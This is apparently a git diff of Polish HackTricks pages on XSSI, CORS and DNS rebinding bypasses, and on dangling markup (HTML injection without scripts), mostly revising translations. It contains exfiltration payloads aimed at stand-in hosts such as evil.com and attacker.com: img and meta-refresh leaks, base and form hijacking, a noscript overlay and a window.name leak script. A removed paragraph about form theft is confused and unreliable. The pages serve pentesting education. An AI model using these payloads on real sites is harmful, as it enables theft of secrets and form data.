XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności, który wykorzystuje fakt, że Polityka Jednego Źródła (SOP) nie ma zastosowania podczas dołączania zasobów za pomocą tagu skryptu. Dzieje się tak dlatego, że skrypty muszą być w stanie być dołączane z różnych domen. Ta podatność pozwala atakującemu uzyskać dostęp i odczytać dowolne treści dołączone za pomocą tagu skryptu.
|
||||
XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności wykorzystującej fakt, że Polityka Jednego Źródła (SOP) nie ma zastosowania podczas dołączania zasobów za pomocą tagu skryptu. Dzieje się tak, ponieważ skrypty muszą być w stanie być dołączane z różnych domen. Ta podatność pozwala atakującemu uzyskać dostęp i odczytać dowolne treści dołączone za pomocą tagu skryptu.
|
||||
|
||||
Ta podatność staje się szczególnie istotna, gdy chodzi o dynamiczny JavaScript lub JSONP (JSON z Paddingiem), zwłaszcza gdy informacje o uprawnieniach, takie jak ciasteczka, są używane do uwierzytelniania. Podczas żądania zasobu z innej hosta, ciasteczka są dołączane, co czyni je dostępnymi dla atakującego.
|
||||
Ta podatność staje się szczególnie istotna w przypadku dynamicznego JavaScriptu lub JSONP (JSON z Paddingiem), zwłaszcza gdy używane są informacje o uprawnieniach ambientalnych, takie jak ciasteczka, do uwierzytelniania. Podczas żądania zasobu z innej hosta, ciasteczka są dołączane, co czyni je dostępnymi dla atakującego.
|
||||
|
||||
Aby lepiej zrozumieć i złagodzić tę podatność, można skorzystać z wtyczki BurpSuite dostępnej pod adresem [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ta wtyczka może pomóc zidentyfikować i rozwiązać potencjalne podatności XSSI w aplikacjach internetowych.
|
||||
|
||||
|
@ -271,14 +271,14 @@ Spróbuj dodać **`callback`** **parametr** w żądaniu. Być może strona zosta
|
|||
|
||||
### Łatwe (bezużyteczne?) ominiecie
|
||||
|
||||
Jednym ze sposobów na obejście ograniczenia `Access-Control-Allow-Origin` jest poproszenie aplikacji internetowej o wykonanie żądania w twoim imieniu i odesłanie odpowiedzi. Jednakże, w tym scenariuszu, dane uwierzytelniające ostatecznej ofiary nie zostaną wysłane, ponieważ żądanie jest skierowane do innej domeny.
|
||||
Jednym ze sposobów na obejście ograniczenia `Access-Control-Allow-Origin` jest poproszenie aplikacji internetowej o wykonanie żądania w twoim imieniu i odesłanie odpowiedzi. Jednakże w tym scenariuszu dane uwierzytelniające ostatecznej ofiary nie zostaną wysłane, ponieważ żądanie jest skierowane do innej domeny.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Narzędzie to dostarcza serwer proxy, który przekazuje twoje żądanie wraz z nagłówkami, jednocześnie podszywając się pod nagłówek Origin, aby pasował do żądanej domeny. W ten sposób efektywnie omija się politykę CORS. Oto przykładowe użycie z XMLHttpRequest:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): To narzędzie oferuje alternatywne podejście do przekazywania żądania. Zamiast przekazywać twoje żądanie w oryginalnej postaci, serwer wykonuje własne żądanie z określonymi parametrami.
|
||||
|
||||
### Ominięcie za pomocą Iframe + Popup
|
||||
|
||||
Możesz **obejść sprawdzenia CORS**, takie jak `e.origin === window.origin`, **tworząc iframe** i **z niego otwierając nowe okno**. Więcej informacji na następnej stronie:
|
||||
Możesz **obejść sprawdzenia CORS**, takie jak `e.origin === window.origin`, **tworząc iframe** i **z niego otwierając nowe okno**. Więcej informacji znajdziesz na następnej stronie:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -290,13 +290,13 @@ Przełączanie DNS za pomocą TTL to technika używana do obejścia pewnych śro
|
|||
|
||||
1. Atakujący tworzy stronę internetową i sprawia, że ofiara ją odwiedza.
|
||||
2. Następnie atakujący zmienia DNS (IP) swojej własnej domeny, aby wskazywał na stronę internetową ofiary.
|
||||
3. Przeglądarka ofiary buforuje odpowiedź DNS, która może zawierać wartość TTL (Time to Live), określającą, jak długo rekord DNS powinien być uważany za ważny.
|
||||
4. Gdy TTL wygaśnie, przeglądarka ofiary wysyła nowe żądanie DNS, pozwalając atakującemu na wykonanie kodu JavaScript na stronie ofiary.
|
||||
3. Przeglądarka ofiary buforuje odpowiedź DNS, która może zawierać wartość TTL (Time to Live) określającą, jak długo rekord DNS powinien być uważany za ważny.
|
||||
4. Gdy TTL wygaśnie, przeglądarka ofiary wysyła nowe żądanie DNS, umożliwiając atakującemu wykonanie kodu JavaScript na stronie ofiary.
|
||||
5. Utrzymując kontrolę nad IP ofiary, atakujący może zbierać informacje od ofiary bez wysyłania jakichkolwiek ciasteczek na serwer ofiary.
|
||||
|
||||
Warto zauważyć, że przeglądarki mają mechanizmy buforowania, które mogą zapobiec natychmiastowemu nadużyciu tej techniki, nawet przy niskich wartościach TTL.
|
||||
|
||||
Przełączanie DNS może być przydatne do obejścia jawnego sprawdzania IP przeprowadzanego przez ofiarę lub w scenariuszach, w których użytkownik lub bot pozostaje na tej samej stronie przez długi czas, pozwalając buforowi wygasnąć.
|
||||
Przełączanie DNS może być przydatne do obejścia jawnie sprawdzanych adresów IP przez ofiarę lub w scenariuszach, w których użytkownik lub bot pozostaje na tej samej stronie przez długi czas, co pozwala buforowi wygasnąć.
|
||||
|
||||
Jeśli potrzebujesz szybkiego sposobu na nadużycie przełączania DNS, możesz skorzystać z usług takich jak [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
|
@ -304,26 +304,26 @@ Aby uruchomić własny serwer przełączania DNS, możesz skorzystać z narzędz
|
|||
|
||||
Możesz także skorzystać z publicznie działającego serwera pod adresem [http://rebind.it/singularity.html](http://rebind.it/singularity.html) dla dalszego zrozumienia i eksperymentowania.
|
||||
|
||||
### Przełączanie DNS za pomocą **Zatłoczenia Pamięci Cache DNS**
|
||||
### Przełączanie DNS za pomocą **Przepełnienia Pamięci Cache DNS**
|
||||
|
||||
Przełączanie DNS za pomocą zatłoczenia pamięci cache DNS to kolejna technika używana do obejścia mechanizmu buforowania przeglądarek i wymuszenia drugiego żądania DNS. Oto jak to działa:
|
||||
Przełączanie DNS za pomocą przepełnienia pamięci cache DNS to kolejna technika używana do obejścia mechanizmu buforowania przeglądarek i wymuszenia drugiego żądania DNS. Oto jak to działa:
|
||||
|
||||
1. Początkowo, gdy ofiara wysyła żądanie DNS, otrzymuje odpowiedź z adresem IP atakującego.
|
||||
2. Aby ominąć obronę buforowania, atakujący wykorzystuje pracownika usługi. Pracownik usługi zatłacza pamięć cache DNS, co efektywnie usuwa zbuforowaną nazwę serwera atakującego.
|
||||
3. Gdy przeglądarka ofiary wysyła drugie żądanie DNS, otrzymuje teraz adres IP 127.0.0.1, który zazwyczaj odnosi się do lokalnego hosta.
|
||||
2. Aby ominąć obronę buforowania, atakujący wykorzystuje pracownika usługi. Pracownik usługi zalewa pamięć cache DNS, co skutecznie usuwa zbuforowaną nazwę serwera atakującego.
|
||||
3. Gdy przeglądarka ofiary wysyła drugie żądanie DNS, otrzymuje teraz odpowiedź z adresem IP 127.0.0.1, który zazwyczaj odnosi się do lokalnego hosta.
|
||||
|
||||
Poprzez zatłoczenie pamięci cache DNS za pomocą pracownika usługi, atakujący może manipulować procesem rozwiązywania DNS i zmusić przeglądarkę ofiary do wysłania drugiego żądania, tym razem rozwiązując się na adres IP atakującego.
|
||||
Poprzez zalewanie pamięci cache DNS pracownikiem usługi, atakujący może manipulować procesem rozwiązywania DNS i zmusić przeglądarkę ofiary do wysłania drugiego żądania, tym razem rozwiązując się na pożądany adres IP atakującego.
|
||||
|
||||
### Przełączanie DNS za pomocą **Pamięci Cache**
|
||||
### Przełączanie DNS za pomocą **Cache**
|
||||
|
||||
Innym sposobem na obejście obrony buforowania jest wykorzystanie wielu adresów IP dla tej samej poddomeny w dostawcy DNS. Oto jak to działa:
|
||||
|
||||
1. Atakujący ustawia dwa rekordy A (lub pojedynczy rekord A z dwoma IP) dla tej samej poddomeny w dostawcy DNS.
|
||||
2. Gdy przeglądarka sprawdza te rekordy, otrzymuje oba adresy IP.
|
||||
3. Jeśli przeglądarka zdecyduje się najpierw użyć adresu IP atakującego, atakujący może dostarczyć ładunek, który wykonuje żądania HTTP do tej samej domeny.
|
||||
3. Jeśli przeglądarka postanowi użyć najpierw adresu IP atakującego, atakujący może dostarczyć ładunek, który wykonuje żądania HTTP do tej samej domeny.
|
||||
4. Jednak gdy atakujący uzyska adres IP ofiary, przestaje odpowiadać przeglądarce ofiary.
|
||||
5. Przeglądarka ofiary, po zauważeniu, że domena jest niedostępna, przechodzi do użycia drugiego podanego adresu IP.
|
||||
6. Poprzez dostęp do drugiego adresu IP, przeglądarka omija Politykę Jednego Źródła (SOP), pozwalając atakującemu na nadużycie tego i pozyskiwanie oraz eksfiltrację informacji.
|
||||
6. Poprzez dostęp do drugiego adresu IP, przeglądarka omija Politykę Jednego Źródła (SOP), co pozwala atakującemu wykorzystać to i uzyskać oraz wycieknąć informacje.
|
||||
|
||||
Ta technika wykorzystuje zachowanie przeglądarek, gdy dostarczane są im multiple adresy IP dla domeny. Poprzez strategiczne kontrolowanie odpowiedzi i manipulowanie wyborem adresu IP przez przeglądarkę, atakujący może wykorzystać SOP i uzyskać dostęp do informacji od ofiary.
|
||||
|
||||
|
@ -338,14 +338,14 @@ Aby uzyskać więcej informacji, możesz sprawdzić [https://unit42.paloaltonetw
|
|||
### Inne powszechne metody obchodzenia
|
||||
|
||||
* Jeśli **wewnętrzne adresy IP nie są dozwolone**, mogą **zapomnieć o zakazaniu 0.0.0.0** (działa w systemach Linux i Mac)
|
||||
* Jeśli **wewnętrzne adresy IP nie są dozwolone**, odpowiedz **CNAME** na **localhost** (działa w systemach Linux i Mac)
|
||||
* Jeśli **wewnętrzne adresy IP nie są dozwolone** w odpowiedziach DNS, można odpowiedzieć **CNAME na wewnętrzne usługi** takie jak www.corporate.internal.
|
||||
* Jeśli **wewnętrzne adresy IP nie są dozwolone**, odpowiedz **CNAME** do **localhost** (działa w systemach Linux i Mac)
|
||||
* Jeśli **wewnętrzne adresy IP nie są dozwolone** jako odpowiedzi DNS, można odpowiedzieć **CNAME na wewnętrzne usługi** takie jak www.corporate.internal.
|
||||
|
||||
### Uzbrojone ataki DNS Rebidding
|
||||
|
||||
Więcej informacji na temat poprzednich technik obchodzenia i jak korzystać z następującego narzędzia można znaleźć w prezentacji [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - Konferencja DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne komponenty do przypisania adresu IP nazwy DNS serwera atakującego do adresu IP maszyny docelowej i serwowania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne komponenty do ponownego przypisania adresu IP nazwy DNS serwera atakującego do adresu IP maszyny docelowej i serwowania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
|
||||
|
||||
### Rzeczywista ochrona przed atakami DNS Rebinding
|
||||
|
||||
|
@ -358,6 +358,7 @@ Więcej informacji na temat poprzednich technik obchodzenia i jak korzystać z n
|
|||
|
||||
**Testuj możliwe błędy konfiguracji w politykach CORS**
|
||||
|
||||
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
||||
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
|
||||
|
@ -374,17 +375,3 @@ Więcej informacji na temat poprzednich technik obchodzenia i jak korzystać z n
|
|||
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
|
||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Dangling Markup - Wstrzykiwanie HTML bez użycia skryptów
|
||||
# Wiszący znacznik - Wstrzyknięcie HTML bez skryptów
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,36 +6,36 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podsumowanie
|
||||
|
||||
Ta technika może być używana do wydobycia informacji od użytkownika, gdy zostanie znalezione **wstrzykiwanie HTML**. Jest to bardzo przydatne, jeśli **nie znajdziesz żadnego sposobu na wykorzystanie** [**XSS**](../xss-cross-site-scripting/), ale możesz **wstrzyknąć pewne znaczniki HTML**.\
|
||||
Jest również przydatne, jeśli pewne **tajemnice są zapisane w postaci zwykłego tekstu** w HTML i chcesz je **wydobyć** z klienta, lub jeśli chcesz wprowadzić w błąd wykonanie pewnego skryptu.
|
||||
Ta technika może być użyta do wydobycia informacji od użytkownika, gdy znajdzie się **wstrzyknięcie HTML**. Jest to bardzo przydatne, jeśli **nie znajdziesz sposobu na wykorzystanie** [**XSS**](../xss-cross-site-scripting/), ale możesz **wstrzyknąć pewne znaczniki HTML**.\
|
||||
Jest to również przydatne, jeśli **jakiś sekret jest zapisany w postaci zwykłego tekstu** w HTML i chcesz go **wydobyć** z klienta, lub jeśli chcesz wprowadzić w błąd wykonanie pewnego skryptu.
|
||||
|
||||
Kilka omówionych tutaj technik można użyć do obejścia niektórych [**Content Security Policy**](../content-security-policy-csp-bypass/) poprzez wydobywanie informacji w nieoczekiwany sposób (znaczniki HTML, CSS, http-meta tags, formularze, base...).
|
||||
Kilka omawianych tutaj technik może być użytych do obejścia niektórych [**Polityk Bezpieczeństwa Zawartości**](../content-security-policy-csp-bypass/) poprzez wydobywanie informacji w nieoczekiwany sposób (znaczniki html, CSS, znaczniki http-meta, formularze, base...).
|
||||
|
||||
## Główne zastosowania
|
||||
## Główne Zastosowania
|
||||
|
||||
### Kradzież tajemnic w postaci zwykłego tekstu
|
||||
|
||||
Jeśli wstrzykniesz `<img src='http://evil.com/log.cgi?` podczas ładowania strony, ofiara wyśle do Ciebie cały kod między wstrzykniętym znacznikiem `img` a następnym cudzysłowem w kodzie. Jeśli w tym fragmencie znajduje się jakaś tajemnica, ją wykradniesz (możesz zrobić to samo, używając podwójnego cudzysłowu, zobacz, który może być bardziej interesujący do użycia).
|
||||
Jeśli wstrzykniesz `<img src='http://evil.com/log.cgi?` gdy strona jest ładowana, ofiara wyśle Ci cały kod między wstrzykniętym tagiem `img` a następnym cudzysłowiem w kodzie. Jeśli jakiś sekret znajduje się w tym fragmencie, go ukradniesz (możesz zrobić to samo używając podwójnego cudzysłowu, sprawdź, co może być bardziej interesujące do użycia).
|
||||
|
||||
Jeśli znacznik `img` jest zabroniony (np. ze względu na CSP), możesz również użyć `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`.
|
||||
Jeśli tag `img` jest zabroniony (np. z powodu CSP), możesz również użyć `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
```html
|
||||
<img src='http://attacker.com/log.php?HTML=
|
||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||||
```
|
||||
Zauważ, że **Chrome blokuje adresy URL HTTP** zawierające "<" lub "\n", więc możesz spróbować innych schematów protokołów, takich jak "ftp".
|
||||
Zauważ, że **Chrome blokuje adresy URL HTTP** zawierające "<" lub "\n", więc można spróbować innych schematów protokołów, takich jak "ftp".
|
||||
|
||||
Możesz również wykorzystać CSS `@import` (wyśle cały kod do momentu znalezienia ";")
|
||||
Można także nadużyć CSS `@import` (wyśle cały kod do momentu znalezienia ";")
|
||||
```html
|
||||
<style>@import//hackvertor.co.uk? <--- Injected
|
||||
<b>steal me!</b>;
|
||||
|
@ -44,65 +44,40 @@ Możesz również użyć **`<table`**:
|
|||
```html
|
||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||
```
|
||||
Możesz również wstawić znacznik `<base`. Wszystkie informacje zostaną wysłane do zamknięcia cytatu, ale wymaga to pewnej interakcji użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ znacznik base zmienił domenę wskazywaną przez link):
|
||||
Możesz także wstawić tag `<base`. Wszystkie informacje zostaną wysłane do zamknięcia cytatu, ale wymaga to pewnej interakcji użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmieni domenę wskazywaną przez link):
|
||||
```html
|
||||
<base target=' <--- Injected
|
||||
steal me'<b>test</b>
|
||||
```
|
||||
### Kradzież formularzy
|
||||
|
||||
Dangling Markup (HTML) to technika, która polega na wykorzystaniu niezamkniętego znacznika HTML, aby ukraść dane z formularzy na stronie internetowej. Ta technika jest możliwa, gdy deweloperzy nie zamkną znacznika HTML poprawnie, co prowadzi do wycieku danych.
|
||||
|
||||
#### Jak działa?
|
||||
|
||||
1. Znajdź stronę internetową z niezamkniętym znacznikiem HTML w formularzu.
|
||||
2. Sprawdź, czy formularz zawiera poufne dane, takie jak hasła, adresy e-mail, dane osobowe itp.
|
||||
3. Wykorzystaj niezamknięty znacznik HTML, aby wstrzyknąć kod JavaScript, który przechwyci dane z formularza.
|
||||
4. Skrypt JavaScript może wysłać skradzione dane na zewnętrzny serwer lub zapisywać je w lokalnym pliku.
|
||||
|
||||
#### Przykład
|
||||
|
||||
Poniżej znajduje się przykład niezamkniętego znacznika HTML w formularzu logowania:
|
||||
|
||||
```html
|
||||
<form>
|
||||
<input type="text" name="username" placeholder="Username">
|
||||
<input type="password" name="password" placeholder="Password">
|
||||
<input type="submit" value="Login">
|
||||
</form
|
||||
```
|
||||
|
||||
W powyższym przykładzie znacznik `</form>` nie został zamknięty poprawnie. Możemy wykorzystać tę lukę, aby przechwycić dane logowania.
|
||||
|
||||
#### Zabezpieczenia
|
||||
|
||||
Aby zapobiec kradzieży formularzy za pomocą dangling markup, deweloperzy powinni zawsze upewnić się, że wszystkie znaczniki HTML są zamknięte poprawnie. Regularne testowanie bezpieczeństwa aplikacji może również pomóc w wykrywaniu takich luk i ich naprawie przed wykorzystaniem ich przez potencjalnych hakerów.
|
||||
```html
|
||||
<base href='http://evil.com/'>
|
||||
```
|
||||
Następnie, formularze wysyłające dane do ścieżki (np. `<form action='update_profile.php'>`) będą wysyłać dane do złośliwej domeny.
|
||||
Następnie formularze wysyłające dane do ścieżki (np. `<form action='update_profile.php'>`) będą wysyłać dane do złośliwej domeny.
|
||||
|
||||
### Kradzież formularzy 2
|
||||
|
||||
Ustaw nagłówek formularza: `<form action='http://evil.com/log_steal'>` spowoduje nadpisanie następnego nagłówka formularza i wszystkie dane z formularza zostaną wysłane do atakującego.
|
||||
Ustaw nagłówek formularza: `<form action='http://evil.com/log_steal'>` to nadpisze następny nagłówek formularza i wszystkie dane z formularza zostaną wysłane do atakującego.
|
||||
|
||||
### Kradzież formularzy 3
|
||||
|
||||
Przycisk może zmienić adres URL, do którego zostaną wysłane informacje z formularza, za pomocą atrybutu "formaction":
|
||||
Przycisk może zmienić adres URL, pod który zostaną wysłane informacje z formularza, za pomocą atrybutu "formaction":
|
||||
```html
|
||||
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
||||
```
|
||||
Atakujący może wykorzystać to do kradzieży informacji.
|
||||
Atakujący może użyć tego do kradzieży informacji.
|
||||
|
||||
### Kradzież jawnych sekretów 2
|
||||
Znajdź [**przykład tego ataku w tym opracowaniu**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
||||
|
||||
Korzystając z najnowszej wymienionej techniki kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), można następnie wstrzyknąć nowe pole wprowadzania danych:
|
||||
### Kradzież tajemnic w czystym tekście 2
|
||||
|
||||
Korzystając z najnowszej wspomnianej techniki kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), możesz następnie wstrzyknąć nowe pole wprowadzania:
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
i to pole wejściowe będzie zawierać całą treść między jego cudzysłowem a kolejnym cudzysłowem w HTML. Ten atak łączy "_**Kradzież jawnych sekretów**_" z "_**Kradzieżą formularzy2**_".
|
||||
i to pole wejściowe będzie zawierać całą zawartość między swoimi cudzysłowami i kolejnymi cudzysłowami w HTML. Ten atak łączy "_**Kradzież jawnych tajemnic**_" z "_**Kradzieżą formularzy2**_".
|
||||
|
||||
Możesz zrobić to samo wstrzykując formularz i znacznik `<option>`. Wszystkie dane do momentu znalezienia zamkniętego znacznika `</option>` zostaną wysłane:
|
||||
Możesz zrobić to samo wstrzykując formularz i znacznik `<option>`. Wszystkie dane do momentu znalezienia zamkniętego `</option>` zostaną wysłane:
|
||||
```html
|
||||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||||
```
|
||||
|
@ -122,32 +97,31 @@ value='fredmbogo'> ← Injected lines
|
|||
...
|
||||
</form>
|
||||
```
|
||||
### Kradzież jawnych sekretów za pomocą noscript
|
||||
### Kradzież tajemnic w czystym tekście za pomocą noscript
|
||||
|
||||
`<noscript></noscript>` to znacznik, którego zawartość zostanie zinterpretowana, jeśli przeglądarka nie obsługuje JavaScriptu (możesz włączać/wyłączać JavaScript w Chrome w [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||
`<noscript></noscript>` Jest to tag, którego zawartość będzie interpretowana, jeśli przeglądarka nie obsługuje JavaScript (możesz włączyć/wyłączyć JavaScript w Chrome w [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||
|
||||
Sposobem na wydostanie zawartości strony internetowej od punktu wstrzyknięcia do jej końca na kontrolowaną przez atakującego stronę będzie wstrzyknięcie tego:
|
||||
Sposobem na wyciek zawartości strony internetowej od punktu wstrzyknięcia do jej końca na kontrolowaną przez atakującego stronę będzie wstrzyknięcie tego:
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
### Omijanie CSP za pomocą interakcji użytkownika
|
||||
### Ominięcie CSP za pomocą interakcji użytkownika
|
||||
|
||||
Z tej [badania portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) można dowiedzieć się, że nawet w **najbardziej ograniczonym środowisku CSP** wciąż można **wyciekać dane** za pomocą pewnej **interakcji użytkownika**. W tym przypadku będziemy używać ładunku:
|
||||
Z [badania portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) można dowiedzieć się, że nawet w **najbardziej ograniczonych CSP** środowiskach nadal można **wyciekać dane** za pomocą **interakcji użytkownika**. W tym przypadku będziemy używać ładunku:
|
||||
```html
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
Zauważ, że poprosisz **ofiarę** o **kliknięcie w link**, który ją przekieruje do **payloadu** kontrolowanego przez ciebie. Zauważ również, że atrybut **`target`** wewnątrz tagu **`base`** będzie zawierał **treść HTML** do następnego pojedynczego cudzysłowu.\
|
||||
Spowoduje to, że **wartość** **`window.name`** po kliknięciu w link będzie zawierać całą tę **treść HTML**. Dlatego, jako że **kontrolujesz stronę**, na którą ofiara trafia po kliknięciu w link, możesz uzyskać dostęp do **`window.name`** i **wyciec** te dane:
|
||||
Zauważ, że poprosisz **ofiarę**, aby **kliknęła w link**, który ją **przekieruje** do **payloadu** kontrolowanego przez Ciebie. Zauważ również, że atrybut **`target`** wewnątrz tagu **`base`** będzie zawierał **treść HTML** do następnego pojedynczego cudzysłowu. To sprawi, że **wartość** **`window.name`** po kliknięciu w link będzie całą tą **treścią HTML**. Dlatego, kontrolując stronę, do której ofiara uzyskuje dostęp poprzez kliknięcie w link, możesz uzyskać dostęp do **`window.name`** i **wyciec** te dane:
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||||
</script>
|
||||
```
|
||||
### Mylący skrypt - krok 1 - Atak na przestrzeń nazw HTML
|
||||
### Fałszywy skrypt 1 - Atak na przestrzeń nazw HTML
|
||||
|
||||
Wstaw nowy tag z identyfikatorem (id) wewnątrz HTML, który nadpisze następny tag i będzie miał wartość, która wpłynie na przebieg skryptu. W tym przykładzie wybierasz, z kim zostanie udostępniona informacja:
|
||||
Wstaw nowy tag z identyfikatorem wewnątrz HTML, który nadpisze następny i z wartością, która wpłynie na przebieg skryptu. W tym przykładzie wybierasz, z kim informacja będzie udostępniona:
|
||||
```html
|
||||
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
||||
...
|
||||
|
@ -162,9 +136,9 @@ request.share_with = document.getElementById('share_with').value;
|
|||
...
|
||||
}
|
||||
```
|
||||
### Mylący skrypt - Atak na przestrzeń nazw skryptu
|
||||
### Mylący skrypt 2 - Atak na przestrzeń nazw skryptu
|
||||
|
||||
Utwórz zmienne w przestrzeni nazw JavaScript poprzez wstawienie znaczników HTML. Następnie ta zmienna wpłynie na przebieg aplikacji:
|
||||
Utwórz zmienne w przestrzeni nazw JavaScript poprzez wstawienie tagów HTML. Następnie ta zmienna wpłynie na przebieg aplikacji:
|
||||
```html
|
||||
<img id='is_public'> ← Injected markup
|
||||
|
||||
|
@ -186,7 +160,7 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e
|
|||
...
|
||||
}
|
||||
```
|
||||
### Wykorzystanie JSONP
|
||||
### Nadużycie JSONP
|
||||
|
||||
Jeśli znajdziesz interfejs JSONP, możesz wywołać dowolną funkcję z dowolnymi danymi:
|
||||
```html
|
||||
|
@ -200,19 +174,19 @@ else request.access_mode = AM_PRIVATE;
|
|||
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
||||
set_sharing({ ... })
|
||||
```
|
||||
